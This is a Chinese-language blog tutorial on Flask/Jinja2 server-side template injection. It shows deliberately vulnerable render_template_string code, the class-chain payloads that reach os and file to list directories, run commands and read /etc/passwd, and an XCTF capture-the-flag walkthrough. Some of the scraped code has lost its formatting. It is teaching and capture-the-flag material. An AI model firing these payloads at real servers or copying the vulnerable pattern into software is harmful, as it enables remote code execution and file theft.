python利用什么写模板_Python-模板注入

何为模板注入?

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

但是模板引擎也拓宽了我们的攻击面。注入到模板中的代码可能会引发RCE或者XSS。

1790307-20200420215353634-758178029.png

flask基础

在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。

路由

先看一段代码

from flask import flask

@app.route('/index/')

def hello_word():

return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问

渲染方法

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '

This is index page

'

return render_template_string(html)

模板

flask是使用Jinja2来作为渲染引擎的。看例子

在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string

@app.route('/index/')

def user_login():

return render_template('index.html')

/templates/index.html

This is index page

访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

例子

test.py

from flask import Flask,url_for,redirect,render_template,render_template_string

@app.route('/index/')

def user_login():

return render_template('index.html',content='This is index page.')

/templates/index.html

{{content}}

这个时候页面仍然输出This is index page。

{{}}在Jinja2中作为变量包裹标识符。

模板注入

不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

xss利用

存在漏洞的代码

@app.route('/test/')

def test():

code = request.args.get('id')

html = '''

%s

'''%(code)

return render_template_string(html)

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。

尝试构造code为一串js代码。

1790307-20200420221935578-1698057910.png

将代码改为如下

@app.route('/test/')

def test():

code = request.args.get('id')

return render_template_string('

{{ code }}

',code=code)

继续尝试

1790307-20200420222002238-255847106.png

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

模板注入

不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?

目录:

(4)

(8)

(9)参考(挖坑)

(10)补充

其它模板注入payload

目录:

Flask模板注入

解析:

众所周知ssti要被{{}}包括。接下来的代码均要包括在ssti中。

1.几种常用于ssti的魔术方法

__class__ 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

2.获取基类的几种方法

[].__class__.__base__''.__class__.__mro__[2]

().__class__.__base__

{}.__class__.__base__

request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用

或者

[].__class__.__bases__[0] //其他的类似

3.获取基本类的子类

>>>[].__class__.__base__.__subclasses__()

[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ]

ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

那么我们可以利用的类有哪些呢?

4.利用

我们可以利用的方法有等。(甚至file一般是第40号)

>>> ().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

1790307-20200420215710589-701252824.png

可以从上面的例子中看到我们用file读取了 /etc/passwd ,但是如果想要读取目录怎么办?

那么我们可以寻找万能的os模块。

写脚本遍历。

#!/usr/bin/env python

# encoding: utf-8num= 0

for item in ''.__class__.__mro__[2].__subclasses__():try:if 'os' initem.__init__.__globals__:

print num,item

num+=1except:

print'-'num+=1

1790307-20200420215748524-902068196.png

直接调用就好了。可以直接调用system函数,有了shell其他的问题不就解决了吗?

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

5.读写文件

当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)

>>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录

另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。

方法一:

>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改为 write() 就是写文件

方法二:

存在的子模块可以通过 .index()方式来查询

>>> ''.__class__.__mro__[2].__subclasses__().index(file)40

用file模块来查询。

>>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

这里拿 xctf 中的 Web_python_template_injection 做例子

进入题目界面可以看到

1800964-20200214190949025-2074445868.png

尝试模板注入 {{7*7}}

/49的存在说明7*7这条指令被忠实地执行了。接下来,开始想办法编代码拿到服务器的控制台权限 首先,题目告诉我们这是一个python注入问题,那么脚本肯定也是python的,思考怎样用python语句获取控制台权限:想到了os.system和os.popen([参考资料](https://blog.csdn.net/sxingming/article/details/52071514)),这两句前者返回**退出状态码**,后者**以file形式**返回**输出内容**,我们想要的是内容,所所以选择os.popen`

1800964-20200214191036173-145651654.png

知道了要用这一句,那么我要怎么找到这一句呢?python给我们提供了完整的寻找链(参考资料)

class:返回对象所属的类

mro:返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。

base:返回该类所继承的基类 //base__和__mro__都是用来寻找基类的__subclasses:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

init:类的初始化方法

globals:对包含函数全局变量的字典的引用

首先,找到当前变量所在的类:

有回显。尝试模板注入。

构造payload: ?{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

1800964-20200214191544931-964120281.png

读目录发现了fl4g。直接用file读取。构造payload: ?{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

1800964-20200214191749703-352986069.png

拿到了flag。

##注意事项:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

以上payload是非常常用的payload

文章引用:

https://blog.csdn.net/qq_45449318/article/details/105302194

https://www.freebuf.com/column/187845.html

https://www.cnblogs.com/cioi/p/12308518.html#a1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值